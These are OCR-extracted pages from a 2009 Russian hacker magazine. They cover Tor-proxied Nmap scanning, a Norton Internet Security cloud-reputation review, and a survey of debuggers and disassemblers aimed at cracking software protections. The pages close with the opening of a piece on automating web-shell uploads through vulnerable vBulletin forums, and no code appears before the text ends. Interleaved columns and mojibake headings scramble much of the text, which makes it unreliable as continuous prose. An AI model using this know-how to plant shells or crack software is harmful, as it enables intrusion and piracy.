пустить трафик сразу через выходной узел, минуя чения на 5060 порту и готова к работе. ÆÄÈ ÏÎÄÂÎÕ :)
два первых промежуточных хоста. При таком Осталось добавить ее в цепочку соксов, Вывод может быть один — используя Tor,
раскладе скорость сканирования будет зависеть через которые соксофикатор будет пускать будь осторожен. Да, система обеспечива-
только от того, насколько удачно ты выберешь трафик Nmap'а. Для этого открываем кон- ет неплохой уровень анонимности, но не
последний нод — ограничения по скорости будут фиг /etc/proxychains.conf, комментируем может защитить твои данные от перехвата.
упираться лишь в ширину его канала. там строку Socks4 127.0.0.1 9050 и И пусть даже ты убедился, что на последнем
Для установки утилиты нам потребуются указываем наш torproxy-сокс, добавив узле не запущен sslstrip, все равно никто
дополнительные библиотеки boost (www. строчку: socks5 127.0.0.1 5060. Вот, не даст гарантии, что проходящие пакеты
boost.org). Скачиваем последний релиз собственно, и все. Теперь можно так не дампятся снифером. С другой сторо-
либов, далее распаковываем и выполняем: же, как и раньше запустить Nmap через ны, необязательно рассматривать Tor как
proxychains, но насладиться намного более исключительно инструмент для анонимного
$ bootstrap.sh --libdir=/usr/lib шустрой работой. серфинга в Сети. Несколько наших приме-
--includedir=/usr/include Аналогичным образом можно ускорить и ров — тому в подтверждение.z

032 XÀÊÅÐ 10 /130/ 09


PC_ZONE
СТЕПАН «STEP »ИЛЬИН TWITTER.COM/STEPAH

ÎÁËÀ×ÍÛÅ
ÂÛ×ÈÑËÅÍÈß
ÏÐÎÒÈÂ ÂÈÐÓÑÎÂ
ÍÀ ×ÒÎ ÑÏÎÑÎÁÅÍ
NORTON INTERNET
SECURITY?

ÑÎÂÐÅÌÅÍÍÛÅ ÀÍÒÈÂÈÐÓÑÛ ÂÑÅ ÌÅÍÜØÅ ÏÎËÀÃÀÞÒÑß ÍÀ ÒÎ, ×ÒÎ ÐÀÍÜØÅ ÄËß ÍÈÕ ÁÛËÎ
ÑÂßÒÀß ÑÂßÒÛÕ, — ÑÈÃÍÀÒÓÐÍÛÉ ÀÍÀËÈÇ. ÏÎÍÈÌÀß ÁÅÑÏÎÌÎÙÍÎÑÒÜ ÒÀÊÎÃÎ ÏÎÄÕÎÄÀ
ÏÐÎÒÈÂ ÍÎÂÎÉ ÌÀËÂÀÐÈ, ÀÂÅÐÛ ÂÑÅ ÂÍÈÌÀÒÅËÜÍÅÅ ÑÌÎÒÐßÒ, ÊÀÊ ÂÅÄÓÒ ÑÅÁß ÏÐÈËÎÆÅ-
ÍÈß, À Ñ ÍÅÄÀÂÍÅÃÎ ÂÐÅÌÅÍÈ — ÈÑÏÎËÜÇÓÞÒ ÄËß ÏÐÎÂÅÐÊÈ È ÎÁËÀ×ÍÛÅ
ÂÛ×ÈÑËÅÍÈß. ×ÒÎ ÝÒÎ ÄÀÅÒ È ÊÀÊ ÐÀÁÎÒÀÅÒ, ÌÛ ÏÎÑÌÎÒÐÈÌ ÍÀ ÏÐÈÌÅÐÅ NORTON
INTERNET SECURITY.

По правде говоря, когда я летел на пре- условиях. Все существующие подходы так насколько лучше или хуже по сравнению с
зентацию новых версий продуктов Norton, или иначе сводятся к сигнатурному, эвристи- другими решениями работают новые Norton
то относился к подобного рода релизам ческому и проактивному анализу. Но... ребята Antivirus/Norton Internet Security 2010 — это
весьма скептически. Ведь что там можно из Symantec'а сумели удивить: до этого рассудит наше тестирование, которое мы
представить? Антивирус, который все так же момента и я знать не знал о существовании проведем в ближайшее вроемя . Вместо этого
ищет вирусы, и файрвол, который все так же тех подходов, которые они внедрили в новых хочу показать тебе, насколько изворотливыми
файрволит — проверить эффективность этих версиях своих продуктов. могут быть разработчики, когда речь заходит
решений все равно можно только в боевых В этой статье я не буду говорить о том, об оперативном поиске малвари.

034 XÀÊÅÐ 10 /130/ 09


ГРАФИК SYSTEM INSIGHT: ВСЕ,
ЧТО ПРОИСХОДИЛО В СИСТЕМЕ ЗА
ПОСЛЕДНИЕ ДНИ

СТАТИСТИКА ДАННЫХ В ОБЛАКЕ

компании. Технология разрабатывалась в


ÎÁËÀ×ÍÛÅ ÂÛ×ÈÑËÅÍÈß течение 3-х лет и стала ключевой особенно- ГЛАВНОЕ ОКНО ПРИЛОЖЕНИЯ:
Когда речь заходит об облачных вычислени- стью новых Norton Internet Security и Norton ПОСЛЕДНИЕ ПУЛЬСОВЫЕ ОБ-
ях, можно подумать, что Symantec превратила Antivirus 2010.
НОВЛЕНИЯ ПОЛУЧЕНЫ 6 МИНУТ
НАЗАД
свой антивирус в тонкий клиент, который
отправляет через инет файлы на проверку  ×ÅÌ ÏÐÅËÅÑÒÈ ÎÁËÀÊÀ?
специальному серверу (в облако), где они Главное преимущество Quorum — предостав- Norton (Norton Trusted), проверено ком-
проверяются, а клиенту возвращается лишь ление данных обо всех исполняемых файлах. мьюнити (Comminity Trusted), не проверено
результат. В облаке хранятся репутационные рейтинги (Unprove). Заведомо зная, что этим и этим
Неплохая идея, но в настоящий момент для каждого исполняемого файла, который файлам мы можем доверять, мы можем сэко-
едва ли работающая — сложно даже пред- когда-либо встречали пользователи продук- номить огромное количество времени на ска-
ставить, каким в этом случае будет расход тов Symantec в любой точке мира. Наиболее нировании. Например, на моем ноутбуке 84%
трафика. Ребята из Symantec внедрили наглядный способ увидеть в действии процента файлов — доверенные Norton'ом,
облачные вычисления намного более умело. систему Quorum при работе в Norton Internet и сканировать их нет необходимости. Более
В дополнение к сигнатурному, эвристиче- Security 2010 и Norton AntiVirus 2010 — это того, если мы уже выполнили сканирование и
скому и проактивному анализу прибавился загрузить из интернета новый исполняемый вируса не нашли, то соответствующая отмет-
совершенно новый подход, который условно файл. Новый модуль Download Insight при ка отправится в облако, и файл, возможно,
можно назвать статистическим. Что имеется определении безопасности любого скачивае- будет отмечен как проверенный.
в виду? В основе технологии лежит облако, мого файла опирается на информацию о его Благодаря технологии File insight можно
которое поддерживает огромную базу дан- репутации, которую предоставляет система узнать массу полезной информации о каждом
ных с информацией о невероятно большом Quorum. Таким образом, пользователя уве- из файлов. Что конкретно она показывает?
количестве файлов. В модуле Quorum, обе- домляют о рейтинге этого файла, а файлы, Во-первых, есть ли у файла цифровая под-
спечивающем безопасность на основе репу- имеющие плохую репутацию, автоматически пись. С какого момента он находится на ком-
тации, используются данные, полученные из блокируются. Кроме того, пользователь может пьютере? Когда последний раз использовал-
множества различных источников, включая: щелкнуть правой кнопкой мыши на любой ся? Запускается ли автоматически? Помимо
анонимную информацию, предоставленную исполняемый файл, чтобы узнать, откуда этой локальной информации, отображаются
десятками миллионов членов сообщества он появился, сколько других пользователей данные из облака — сколько пользователей
Norton Community Watch, данные издателей продуктов Symantec с ним работают, когда используют это приложение, когда в облаке
ПО, а также анонимные данные от клиентов компания Symantec впервые обнаружила его появились данные о файле и какой у него
крупных предприятий, поступающие с помо- и каков его репутационный рейтинг. уровень доверия. Посмотреть это можно,
щью специальной программы сбора данных. Сколько информации хранится в облаке? выбрав в контекстном меню любого из фай-
Информация постоянно импортируется и Если открыть приложение, найти параметр лов пункт «Norton Files Insight».
передается в специальный модуль, опреде- Insight protections и кликнуть по кнопке Репутация зависит не только от статистики
ляющий репутационный рейтинг каждого Details, то можно увидеть текущее состояние использования пользователями, но также от
файла, причем сам файл при этом никогда не облака. На момент публикации в базе нахо- их фидбека и, что самое главное, результа-
сканируется. Для точной оценки репутации дилась информация о почти 65 миллионах тов проверки технолгией SONAR (Symantec
файла Quorum использует такую информа- файлов. Из них 51,5 миллиона считаются Online Network for Advanced Response).
цию о нем, как распространенность, время хорошими, и почти 10 миллионов файлов
существования и другие атрибуты. Затем эти относятся к опасным. ÒÅÕÍÎËÎÃÈß SONAR
рейтинги с помощью масштабной «облачной» Репутация приложения — это все. Для каждо- Эта технология и раньше была облачной,
инфраструктуры серверов Symantec предо- го исполняемого файла (EXE, DLL и т.д.) есть но была интегрирована с облаком лишь в
ставляются всем пользователям продуктов определенный уровень доверия: проверено офлайн-режиме. Теперь же антивирус рабо-

XÀÊÅÐ 10 /130/ 09 035


PC_ZONE

РЕЗУЛЬТАТЫ БЫСТРОГО СКАНИРОВАНИЯ

можность быстро генерировать различные модификации


НАСТРОЙКА НЕЗАМЕТНОЙ РАБОТЫ В РЕЖИМЕ IDLE-MODE вирусов с уникальными сигнатурами, которые не опреде-
ляются антивирусами — и направляет оружие против них.
тает с сигнатурами SONAR, которые находятся в облаке и Уникальность файла и его аттрибуты теперь — именно то,
обновляются ежеминутно. что позволяет зафиксировать заражение. Если вдруг отку-
Тут стоит сказать пару слов о том, что вообще такое тех- да ни возьмись на компьютере нескольких пользователей
нология SONAR. Подход основывается на сигнатурах типа появляется какой-то уникальный файл, есть все основа-
«сколько баллов поставить приложению, если оно делает ния полагать, что это вирус. И в большинстве случаев так
то-то и не делает того-то и того-то». Если программа вно- и есть!
сит исправления в реестр, то оно потенциально может
быть опасно — соответствующим образом, корректируется ÑÊÀÍÈÐÓÉ ÍÅÇÀÌÅÒÍÎ!
рейтинг. Это идеология самого подхода: SONAR смотрит Один из важных разделов NIS — Norton Tasks. Здесь
на поведение программы и оценивает его. Один критерий можно просматривать текущее стояние загрузки про-
говорит, что приложение хорошее, а другой — что оно цессора и памяти. Но главное, что здесь настраиваются
плохое. В облаке SONAR'а находится огромная база таких те действия NIS'а, которые работают в так называемом
сигнатур, и если у NIS есть доступ в интернет, то работает Idle-режиме, т.е. в тот момент времени, когда за компью-
он именно с облачными сигнатурами. Причем это вовсе тером никто не работает. Если раньше у меня постоянно
не значит, что антивирус требует какого-то внушительного выскакивало сообщение о том, что в системе давно не
объема трафика. производилась проверка, то теперь сканирование про-
Кто-то из пользователей во время бета-тестирования водится регулярно, причем полностью незаметно для
посчитал, что NIS, постоянно подключенный к инету, тра- меня. По умолчанию во время бездействия пользователя
тит примерно 200 Кб. Понятно, запустившись в первый выполняется обновления всех баз и сигнатур, а также
INFO раз и начав обновление и скачку рейтингов приложения, выполняется быстрое сканирование Idle Quick Scan. При
трафику может уйти больше. Но во время последующей желании — возможно включить и полное сканирование
работы — 200-300 Кб в день. Как видишь, это совсем не системы. Правда, как мне сказали спецы из Symantec,
страшно. такая фишка появилась еще в 2009 версии продукта,
info Несмотря на то, что большая часть файлов получает когда был взят курс на опитимизацию программы. В 2010
Релиз Norton 360 рейтинг автоматически на основе работы SONAR'а, версии были проведены еще большие оптимизиации. В
запланирован на пользователь сам вправе указать, доверяет ли он файлу результате, время установки программы в большинстве
март-апрель 2011 года или нет. Получается эдакий элемент социализации. случаев занимает не более минуты, а размер занимаемой
и будет включить в Соответственно, если много пользователей скажут, что памяти в оперативке составляет не более 10 Мб!
себя то, что уже есть в они доверяют какому-то конкретному файлу, то он может Забавно, что после установки NIS ты даже не замечаешь,
2010 версии, и те но- стать доверенным. Замечу, что именно «может стать», а не что это не только антивирус, но еще и файрвол. Дело
вые фишки, которые «становится». Получить статус доверенного файл имеет в том, что для брандмауэра рулесы создаются автома-
разработчики успеют возможность только в случае положительных результатов тически: для этого в базе программы есть уже готовые
реализовать к этому проверки SONAR. Работает это примерно следующим настройки (информаци о том, какие порты открыть, какой
времени. образом. Если за месяц такой-то файл не сделал более трафик пропускать, а какой блокировать) для большин-
двух подозрительных действий, но при этом обладает ства известных программ. И только если залезть в логи
цифровой подписью, анисталятором и т.д., то через месяц NIS, можно обнаружить записи «Firewall rules were
Norton начинает ему доверять. automatically created for x-lite».
DVD Существует так называемый список приоритезации.
Если миллионы пользователей скачали файл adv2.exe, ×ÒÎ ÑËÓ×ÈËÎÑÜ Ñ ÑÈÑÒÅÌÎÉ?
то в лаборатории его скачают в первую очередь, посмо- Теперь посмотрим на окно Performance. Раньше здесь
dvd трят и по результатам анализа добавят запись в обла- отображалась только информация о том, что происходит
На нашем диске ты ко. Получается, чем больше мы что-то скачиваем, тем с CPU и оперативкой в разрезе системы и в разрезе
найдешь полноцен- быстрее это попадает на анализ. Сигнатурный анализ, Norton’а. Нововведение в этой версии — технология
ную версию Norton производимый на локальной машине, при этом, само Norton insight. На красивом графике в разрезе нескольких
Internet Secirity 2010 собой, никуда не девается. категорий отображается все, что происходило с компью-
с лицензией на 90 Вообще, такой подход работает очень здорово. Quorom тером. Для каждого дня отображается информация о том:
дней. берет самое главное оружие вирусописателей — воз- • было ли установлено новое ПО;

036 XÀÊÅÐ 10 /130/ 09


РЕПУТАЦИЯ САЙТА В РЕЗУЛЬТАТАХ ПОИСКА GOOGLE, YAHOO И BING

ют только с Internet Explorer'ом и Firefox. А вот интеграции с Opera и


Chrome пока не планируется.
Это относится и к технологии Safe Web, которая в специальной
панели браузера отображает уровень доверия к просматривае-
мому сайту (красный, желтый, зеленый). Крайне любопытным
оказался рассказ специалиста из Symantec о том, как работает эта
технология изнут-ри. Для проверки сайтов используется мощный
сервер, на котором запущено достаточно большое количество
виртуальных машин. На каждой виртуальной машине ставится
непропатченный Windows XP, делается снимок системы, после
чего в браузере открывается проверяемая страничка. Допустим,
виртуальная машина идет на xakep.ru, загружает страничку, после
чего делается повторный снимок системы. Осуществляется свер-
ка. Если с системой ничего не произошло, кроме как обновления
Temporary Internet Files (кукисы, кэш и т.д.), то сайт считается
проверенным. Если же вдруг на виртуальной системе окажется
какой-то файл (пускай даже он не распознан антивирусными меха-
низмами как вирус), то сайт тут же отправляется на анализ в подо-
УРОВЕНЬ ДОВЕРИЯ К САЙТУ ОТОБРАЖАЕТСЯ В ПА- зрении на атаку Drive By Download. После того, как паук сходил на
НЕЛИ БРАУЗЕРА
сайт, виртуальная машина пересоздается и далее аналогичным
образом проверяет следующий сайт. Чем чаще на сайте проис-
• какие файлы были скачены из инета; ходит посещение пользователями продуктов Norton (статистика
• запускалась ли оптимизация; исключительно анонимна), тем выше он поднимается в очереди на
• были ли найдены какие-то вирусы или угрозы; сканирование. Причем сканирование осуществляется постоянно.
• осуществлялось ли полное/быстрое сканирование; Например, сайт Cnn.ocm сканируется каждые 6.5 секунд. Из других
• и т.д. интеграций с браузером можно отметить — сохранение учетных
Абсолютно все действия в системе отображаются на графике (есте- записей для быстрого и безопасного логина (Norton Identity Safe).
ственно, с момента установки продукта). Зачем это нужно? Допустим, Примечательно, что контейнер с данными теперь можно переме-
мы видим, что компьютер стал работать медленно — пользователь тут щать с машины на машину.
же может проследить, что произошло. Доступна функция «оптимиза- В NIS 2010 внедрена также и новая технология антиспама. В 2010
тор» — по сути, это обычная дефрагментация загрузочного раздела. версии разработчики отошли от привычных подходов, которые давно
Несмотря на то, что NIS — это продукт по безопасности, в него зало- использовались в продуктах, и перешли на технологии Brightmail,
жена базовая функциональность по оптимизации. которую Norton купила 6 лет назад. Технология достаточно тяжелая
для домашних продуктов, поэтому процесс адаптации занял некоторое
время. Brightmare — это опять же облачная технологии. В момент
ÈÍÒÅÃÐÀÖÈß Ñ ÁÐÀÓÇÅÐÎÌ проверки письма его хэш отправляется в облако с запросом «никто ли
Еще одна новинка продукта — технология Download insight. Благодаря из пользователей не сказал, что это спам» . Если облако отвечает, что
этому нововведению, NIS проверяет каждый скачиваемый из инета письмо многими юзерами отмечено как нежелательное, то происходит
файл, запрашивая информацию о нем из облака. Если в облако пере- его удаление. То же самое происходит и с фишинговыми сайтами. При
дается информация о том, что этот файл скачало большое количество заходе на любую страницу NIS ищет iframe, переадресации и прочие
человек и SONAR не обнаружил ничего подозрительного, то пользо- гадости, а также запрашивает в облаке информацию о ее репутации.
вателю выдается сообщение, что файл надежен. Либо же наоборот — Уверен, что через некоторое время аналогичная функциональность
предупреждение о возможной опасности. появится и в других продуктах. Почему? Да потому, что это действи-
Тут надо сказать, что все околобраузерные технологии Norton работа- тельно хорошо работает. z

XÀÊÅÐ 10 /130/ 09 037


PC_ZONE
СТЕПАН «STEP» ИЛЬИН TWITЕR.COM/STEPAH

ËÓ×ØÈÅ ÈÍÑÒÐÓÌÅÍÒÛ ÏÅÍÒÅÑÒÅÐÀ


ÎÒËÀÄ×ÈÊÈ È ÄÈÇÀÑÑÅÌÁËÅÐÛ
У каждого из команды z — свои предпочтения по части софта и утилит для пентеста. Посовещавшись,
выяснили, что выбор так разнится, что можно составить настоящий джентльменский набор из прове-
ренных программ. На том и решили. Чтобы не делать сборную солянку, весь список мы разбили на темы.
Сегодня разберем отладчики и дизасемблеры — все, что понадобится для реверсинга приложений.

Для того, чтобы понять как устроена про-


грамма, нужно посмотреть ее исходный код.
Да вот только, кто же этот исходный код нам
даст? Правильно — никто :). Поэтому придет-
ся идти обходным путем и изучать внутренно-
сти приложения с помощью дизассемблеров
и отладчиков. Первые — помогут представить
любой исполняемый файл в виде ассемблер-
ного листинга, а вторые — позволят поша-
гово, инструкция за инструкцией, выполнить
приложение и даже вмешаться в логику ее
исполнения. ЗАГРУЖАЕМ СКРИПТ НА
ЛУЧШИЙ 32-БИТНЫЙ ОТЛАДЧИК
PYTHON’Е В IMMUNITY DEBUGGER
OllyDbg
www.ollydbg.de подчас бывает очень трудно. В ходу до сих пор массу полезных утилит и функций, специ-
Если ты хоть раз читал статьи о крякинге или, находится OllyDbg версии 1.10, а бета-версия ально заточенных для хакерских нужд. Взять
например, смотрел видеоуроки от нашего новой ветки еще с марта не претерпела каких- хотя бы searchcrypt.py, который отлично
реверсера Cr@wler’а, то имя «Ольки» тебе либо изменений. Впрочем, посмотреть на идентифицирует следующие криптографиче-
должно быть знакомо. Это 32-битный отлад- нововведения нового движка можно и сейчас, ские алгоритмы: AES, BLOWFISH, CAMELLIA,
чик, работающий на пользовательском ring-3 но поскольку стабильной работой он пока CAST, MD5, RC2, RC5, RIPEMD160, SHA1,
уровне. Продуманный интерфейс и полезные похвастаться не может, спешу предупредить: SHA256, SHA512. Любой из скриптов может
функции существенным образом облегчают используй «бетку» на свой страх и риск. быть интегрирован в Ольку так, как будто
процесс отладки. В OllyDbg встроен специ- он изначально является ее частью. Скрипт
альный анализатор, который распознает и Immunity Debugger может открыть окно, составить табличку
визуально обозначает процедуры, циклы, кон- www.immunitysec.com/ и даже построить граф функций (да-да!) с
станты и строки, внедренные в код, обращение products-immdbg.shtml любыми доступными ему данными.
к функциям API, параметры этих функций и Классный мод OllyDbg от известной компа- Надо сказать, что Immunity Debugger
т.п. Для новичка — это именно то, что надо! нии, специализирующейся на безопасности. частенько используют специалисты по безо-
Впрочем. какие к черту новички? OllyDbg Самый известный ее продукт — фреймворк пасности, выкладывающие proof-of-concept
давно стал стандартным user-land отладчиком, CANVAS — написан на Python’е, поэтому expolit’ы, написанные на Питоне и пред-
взятым на вооружение хакерами, которые вся- неудивительно, что в Immunity Debugger назначенные для работы исключительно в
чески хотели его улучшить. На свет появилось ребята скрестили любимую Ольку и интер- среде данного отладчика.
множество нестандартных сборок, одни из претатор Python. Имея в арсенале интегри-
которых исправляли досадные ошибки, другие рованный скриптовый язык, ты, например,
— расширяли функционал, а третьи — скрыва- можешь отслеживать значения переменных и SoftICE
ли ее чары от отладчиков. Последнее особен- автоматически выполнять еще какие угодно google.com :)
но актуально, потому как используемый ядром действия, что в конечном итоге упрощает Всем известный (даже тем, кто к крякингу
MS Debugging API оставляет следы своего поиск багов и сокрушение защит. Immunity даже близко не подходил) отладчик для
использования где только можно, а замести их Debugger’s Python API уже включает в себя Windows, работающий на уровне ядра. В

038 XÀÊÅÐ 10 /130/ 09


отладчик Microsoft Debugger, а также SDK,
включающая в себя документацию, заго-
ловочные файлы, библиотеки и несколько
примеров того, как надо писать плагины.
Непосредственно отладчик входит еще и в
набор для разработки драйверов — Windows
Driver Kit (бывший Driver Development Kit или
DDK).
Microsoft Debugger может работать как на
прикладном уровне (т.е. ring-3), так и на
уровне ядра. Причем долгое время ядерная
отладка требовала, как минимум, двух машин, ОТЛАДЧИК ЯДРА С ГРАФИЧЕ-
соединенных COM-шнурком — теперь доста- СКИМ ИНТЕРФЕЙСОМ
ЛЕГЕНДАРНЫЙ ОТЛАДЧИК ВСЕХ точно одной. Приятно еще и то, что отладчик
ВРЕМЕН И НАРОДОВ поддерживает все самые современные ОС от интерфейс не предусмотрен, но существует
Microsoft, а также x64-битные платформы. довольно много фронтендов, в том числе
отличие от прикладных отладчиков (напри- Microsoft Debugger поставляется в двух — Xxgdb (en.wikipedia.org/wiki/Xxgdb), DDD
мер, OllyDbg) SoftICE способен приостановить редакциях: windbg.exe — графический интер- (www.gnu.org/software/ddd), KDbg (www.kdbg.
все операции в Windows, что очень важно фейс и cdb.exe — интерфейс командной org), Xcode (developer.apple.com). Отлаживать
для отладки драйверов. Прога работает в строки. И то и другое является обертками с его помощью «честные» программы — одно
обход MS Debugging API и таким образом вокруг dbgeng.dll, в которой, собственно, и удовольствие, но в плане антиотладки дела
значительно усложняет антиотладку, одна- реализован основной отладочный движок и обстоят плохо. GDB даже не пытается сопро-
ко, учитывая, что для разработчиков защит документированный протокол обмена. тивляться и работает через библиотеку ptrace
SoftICE — враг номер один, практически все (которая на самом деле никакая не библио-
протекторы легко распознают его присутствие Syser Kernel Debugger тека, а системный вызов). Другими словами,
в системе. Поэтому никак не обойтись без www.sysersoft.com GDB принципиально неспособен отлаживать
специальных расширений. Достойных отладчиков ядра всего три: программы, которые не хотят, чтобы их отла-
SoftICE был первоначально разработан ком- SoftICE, Syser и Microsoft Kernel Debugger, но живали. Естественно, помимо GDB существу-
панией NuMega, которая включала его в пакет SoftICE не работает на висте и Server’е 2008,
программ для быстрой разработки высоко- а Microsoft Kernel Debugger — для хакерских
производительных драйверов под названием целей не самый лучший вариант. Остается
Driver Studio, и впоследствии приобретен Syser, который хакеры взяли на вооружение
компанией Compuware. Помнишь, сколько и весьма активно используют. Написан он
всевозможных мануалов было по поводу уста- двумя предприимчивыми китайскими ревер-
новки SoftICE’а под Windows XP? Увы, начиная серами Wu YanFeng и Chen JunHao.
с висты, отладчик в системе не заведется. По своей сути, Syser — это отладчик уровня
Разработчики приостановили разработку в ядра с графическим оконным интерфей-
апреле 2006 года. На официальном сайте его сом, позволяющий отлаживать как при-
не найти и он доступен только на торрентах. ложения, так и драйвера. Эта изумительная
прога сочетает в себе функции как IDA Pro,
SoftICE, так и OllyDbg. Syser поддерживает ОТЛАЖИВАЕМ ПРОГУ ПОД НИК-
Microsoft Debugger подсветку листинга дизассеблера, динами- САМИ
http://www.microsoft.com/ ческую загрузку и выгрузку, все команды
whdc/devtools/ddk отладчика SoftICE, полноценную работу с
Для отладки самой винды Microsoft пред- юникодом и многопроцессорными система- ют и другие отладчики для никсов, например,
лагает использовать свой набор ути- ми. Проработаны многие мелочи: например, Linice (www.linice.com) — неофициальный
лит — Debugging Tools, в который входит корректно работает буфер обмена, позволяю- порт SoftICE’а под Linux.
щий копировать данные из уровня Ring 3 в
ОТЛАДЧИК ОТ MICROSOFT уровень Ring 0. Многие из операций можно IDA Pro
автоматизировать с помощью скриптов. www.hex-rays.com/idapro
Надо сказать, что Syser — преемник SoftICE, IDA Pro — это одновременно интерактивный
из которого, как говорят, были дернуты дизассемблер и отладчик. Он позволяет
целые модули. У него масса преимуществ, превратить бинарный код программы в
как, впрочем, масса недостатков, поэтому, ассемблерный текст, который может быть
реально его приходится юзать совместно с применен для анализа работы приложения.
Microsoft Kernel Debugger. Правда, стоит сказать, что встроенный ring-3
отладчик довольно примитивен. Он рабо-
тает через MS Debugging API (в NT) и через
GDB библиотеку ptrace (в UNIX), что делает его
sourceware.org/gdb легкой добычей для защитных механизмов.
GNU Debugger — основной отладчик под Но зато IDA Pro — это дизассемблер более
UNIX, поддерживающий отладку многих чем с десятилетней историей, первая версия
языков программирования, в том числе Си и которого увидела свет 6 мая 1991 года. Юрий
C++. В поставке по умолчанию графический Харон вместе с Ильфаком начали работать в

XÀÊÅÐ 10 /130/ 09 039


PC_ZONE

IDA PRO ЗА РАБОТОЙ


CLOUD
том направлении, куда еще никто не вкладывал деньги. разные скриптовые языки для написания сценариев в
Через несколько лет парням удалось решить практически дополнение к встроенному IDC. Например, IdaRUB (www.
РЕЗУЛЬТАТ ДЕ- все фундаментальные проблемы дизассемблирования, metasploit.com/users/spoonm/idarub) добавляет поддерж-
КОМПИЛИРО- над которыми просто не хотели работать остальные раз- ку Ruby, а IDAPython (www.d-dome.net/idapython) — под-
ВАНИЯ В C-КОД работчики, зная, что быстрой отдачи не будет и проект держку Python’а. Тут надо сказать, что, начиная с версии
С ПОМОЩЬЮ потребует десятилетий упорного труда. К пятой версии, 5.4, дополнение IDAPython идет предустановленным в
HEX-RAYS IDA Pro выполняла автоматическую декомпиляцию на сам дистрибутив IDA.
самом высоком уровне, используя перекрестные ссыл-
ки, знание параметров вызовов функций стандартных Hex-Rays
библиотек и другую информацию. Но самая главная www.hex-rays.com
фишка — это интерактивное взаимодействие с пользова- После успеха IDA Pro разработчики подумали и решили,
телем. В начале исследования дизассемблер выполняет что уж раз они научились получать человеческий код на
автоматический анализ программы, а затем пользова- ассемблере, то неплохо дописать еще одну фичу, пере-
тель с помощью интерактивных средств IDA начинает водящую ассемблерную грамоту в доступный и понятный
давать осмысленные имена, комментировать, создавать листинг на языке Си. В итоге на свет появился Hex-Rays
сложные структуры данных и другим образом добавлять — декомпилятор, требующий обязательно установленную
информацию в листинг, генерируемый дизассемблером. на компьютеру IDA Pro. Декомпилятору подается на вход
Влюбленные в продукт пользователи разработали немало бинарник, указывается ряд параметров, после чего Hex-
полезных плагинов, в том числе поддерживающих Rays выплевывает исходник на чистом C — в большин-

ДИЗАССЕМБЛЕРНЫЙ ЛИСТИНГ WINDBG

WARNING

warning
• Вся информация
представлена в об-
разовательных целях.
Помни, что реверсинг
приложений и, тем
более, их взлом попа-
дают под статьи УК.

DVD

dvd
Те утилиты, которые
можно свободно
распространять, ты
найдешь на нашем
DVD-диске.

040 XÀÊÅÐ 10 /130/ 09


9

ЧЕМ УПАКОВАНО ПРИЛОЖЕНИЕ?


ДЕКОМПИЛИРУЕМ ПРИЛОЖЕ- VB DECOMPILER ОТ АВТОРА ][
НИЯ, НАПИСАННЫЕ НА DEPLHI/
C BUILDER

стве своем понятный и доступный. Правда, выполняемый native-код. .NET сборки всегда PEiD
спешить компилировать его обратно в компилируются в компилируемый в процессе peid.has.it
бинарник не стоит, потому как в большинстве запуска IL-код. Что такое VB Decompiler? Любой коммерческий продукт должен быть
случаев в момент компиляции ты увидишь Это декомпилятор программ (EXE, DLL, хорошо защищен. Разработчики намеренно
столько ошибок, сколько еще не видывал. OCX), написанных на Visual Basic 5.0 и 6.0, использует всевозможные упаковщики и так
Одна из причин — отсутствие поддержки в и дизассемблер программ, написанных на называемые протекторы, которые применяют
Hex-Rays ресурсов. любом из языков .NET технологии. Так как разного рода антиотладочные средства, мак-
p-code представляет собой высокоуровневые симально препятствующие взлому программы.
W32DASM команды, то появляется реальная возмож- Обойти их можно, но для этого нужно четко
Отличный дизассемблер, удобный и понят- ность восстановить из этого кода исходник. представлять, что использовалось для защиты
ный. Набор функций, с точки зрения профес- Единственное упущение заключается в приложения и какой плагин для отладчика смо-
сионала, довольно ограничен, да и вообще, невозможности восстановить конкретные жет эту защиту обойти (если не брать в расчет
его пора отнести к инструментам из прошлого имена переменных и некоторых функций. ручную расправу с защитой). Изящно опреде-
века, но нет... W32DASM выдает хороший VB Decompiler восстанавливает исходный лить название и версию упаковщика способна
листинг, и для новичков является отличным код из псевдокода максимально близко к небольшая утилита PEiD (peid.has.it).
вариантом, чтобы понять и разобраться, что оригинальному: при некоторых доработках
к чему. К тому же, именно на этот дизассем- его реально довести до компилируемого. PE Explorer
блер авторы опираются в многочисленных От native-кода подобной щедрости ждать www.heaventools.com
мануалах для новичков, в том числе в нашем не приходится, но и в этом случае VB Программа для просмотра и редактирования
HOWTO для начинающих «Крякинг — это Decompiler поможет проанализировать про- PE-файлов — начиная с EXE, DLL и ActiveX
просто» (#80 z, статья в PDF на нашем грамму. Если приложение было создано в контролов и заканчивая скринсейверами SCR
диске). среде .NET, декомпилятор полностью вос- (Screensavers), апплетами панели управле-
становит структуру таблиц сборки, а также ния CPL, SYS и бинарниками для платформы
DeDe будет полезен для дизассемблирования и Windows Mobile. По сути, это не одна утилита,
Начинающие хакеры обычно испытывают анализа IL-кода. Примечательно, что проект а целый набор тулз для того, чтобы посмотреть
большие трудности при взломе программ, полностью написан одним из наших авторов изнутри, как работает программа или библиоте-
написанных на Delphi и Builder, посколь- — GPCh. ка. Включает в себя просмотрщик заголовков,
ку классические трюки, типа бряка на экспорт вызовов API-функций, редактор ресур-
GetWindowTextA, не работают. Для декомпи- сов и дизассемблер. z
ляции кода, написанного на Delphi/Borland
C++ Builder, т.е программ, которые использу-
ют библиотеку VCL от Borland, нужен специ-
альный подход, и он реализован в утилите НАБОР УТИЛИТ PE EXPLORER
DeDe.
По сути, это единственный работающий
декомпилятор для приложений на Delphi,
которые несмотря ни на что не умирают.
Автор проекта DaFixer, к сожалению, бросил
заниматься своим детищем, поэтому офи-
циальной страницы у проекта в настоящий
момент нет. Подробнее о том, как совладать
с программами на Delphi, читай в статье
«Взлом Борландии: изящная декомпиляция
Delphi» (PDF-версию материала ты найдешь
на диске).

VB Decompiler
www.vb-decompiler.org
Программы, разработанные на Visual
Basic’е, могут быть скомпилированы
либо в интерпретируемый p-code, либо в

XÀÊÅÐ 10 /130/ 09 041


ВЗЛОМ
ЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RU
ЛЕОНИД «R0ID» СТРОЙКОВ R0ID@MAIL.RU

Easy Hack
ХАКЕРСКИЕ
СЕКРЕТЫ
ПРОСТЫХ
ВЕЩЕЙ

¹1
ЗАДАЧА: АВТОМАТИЗИРОВАТЬ
ПРОЦЕСС ЗАГРУЗКИ ШЕЛЛА
НА СЕРВЕР ЧЕРЕЗ VBULLETIN

РЕШЕНИЕ:
Частенько на просторах Сети встречаются бажные форумы, через которые порой
очень хочется залить шелл, дабы обрести полноценный доступ к серверу :).
